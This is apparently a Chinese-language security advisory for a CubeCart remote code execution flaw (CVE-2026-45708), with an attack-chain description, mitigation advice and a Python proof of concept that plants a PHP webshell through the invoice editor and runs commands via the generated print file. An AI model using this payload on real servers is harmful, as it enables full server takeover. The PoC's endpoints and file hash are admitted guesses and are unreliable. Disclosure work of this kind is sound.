IPBUF安全漏洞报告
English
CVE-2026-45708 CVSS 7.2 高危

CVE-2026-45708 CubeCart远程代码执行漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45708
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CubeCart

相关标签

RCE远程代码执行CubeCartWeb安全权限绕过文件写入

漏洞概述

CubeCart 6.7.3之前版本存在严重的远程代码执行漏洞。具有文档编辑权限的管理员可以将恶意PHP脚本注入到发票编辑器中。一旦其他管理员打印订单,恶意代码便会被写入服务器文件目录。由于系统配置允许外部访问特定打印文件,未授权攻击者可直接访问并执行该代码,从而控制服务器。

技术细节

该漏洞源于CubeCart在6.7.3之前的版本中,对发票编辑器内容的处理缺乏安全校验。漏洞利用链条分为三个阶段:首先,攻击者需要获取具有“文档编辑”权限的管理员账户,并在后台发票编辑器中植入恶意的PHP代码(如Webshell)。其次,当系统内任意管理员执行“打印订单”操作时,系统会将包含恶意代码的模板渲染并写入到`files/`目录下,文件名为`print.<md5>.php`。最核心的安全缺陷在于`files/.htaccess`配置文件中存在规则例外,明确允许外部请求访问`print.*.php`文件。这意味着,虽然该目录受到保护,但生成的打印文件却成为了公开的可执行脚本。攻击者只需发送HTTP请求访问该文件路径,即可触发Web服务器解析PHP代码,从而实现未授权的远程代码执行,完全控制服务器。

攻击链分析

STEP 1
1. 权限获取
攻击者获取具有“文档编辑”权限的CubeCart管理员账户凭据。
STEP 2
2. 恶意代码注入
攻击者登录后台,在发票编辑器中保存包含恶意PHP Payload的内容。
STEP 3
3. 触发文件生成
诱导或等待系统内其他管理员执行“打印订单”操作,触发系统将恶意模板写入`files/print.<md5>.php`。
STEP 4
4. 远程代码执行
攻击者直接通过浏览器访问生成的PHP文件URL,由于`files/.htaccess`允许访问,恶意代码在服务器端执行,攻击者获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com" admin_username = "admin" admin_password = "password" # 1. Login to get session session = requests.Session() login_payload = { "username": admin_username, "password": admin_password } login_resp = session.post(f"{target_url}/admin.php", data=login_payload) if "dashboard" not in login_resp.text: print("Login failed") exit() # 2. Inject PHP code into Invoice Editor # Note: The actual endpoint/parameters might differ based on CubeCart version malicious_php = "<?php system($_GET['cmd']); ?>" edit_payload = { "document_content": malicious_php, "action": "save_invoice_template" } # Assuming endpoint for saving document session.post(f"{target_url}/admin.php?_g=documents", data=edit_payload) print("[+] Malicious code injected.") # 3. Trigger Print (Simulate admin clicking print) # This generates the print.<md5>.php file print_trigger_url = f"{target_url}/admin.php?_g=orders&action=print" trigger_resp = session.get(print_trigger_url) # 4. Exploit (Access the generated file) # In a real scenario, we would need to guess or find the MD5 hash. # This is a conceptual demonstration. print("[+] Attempting to access the generated shell...") # Example: http://example.com/files/print.e10adc3949ba59abbe56e057f20f883e.php exploit_url = f"{target_url}/files/print.e10adc3949ba59abbe56e057f20f883e.php?cmd=whoami" # Attacker does not need session for this step due to .htaccess configuration exploit_resp = requests.get(exploit_url) print(f"[+] Response: {exploit_resp.text}")

影响范围

CubeCart < 6.7.3

防御指南

临时缓解措施
对于无法立即升级的用户,建议修改Web服务器配置(如Apache或Nginx规则),严格禁止外部直接访问`files/print.*.php`路径。同时,应缩减拥有文档编辑权限的管理员账户范围,并对后台发票模板内容进行安全审计,防止恶意脚本注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表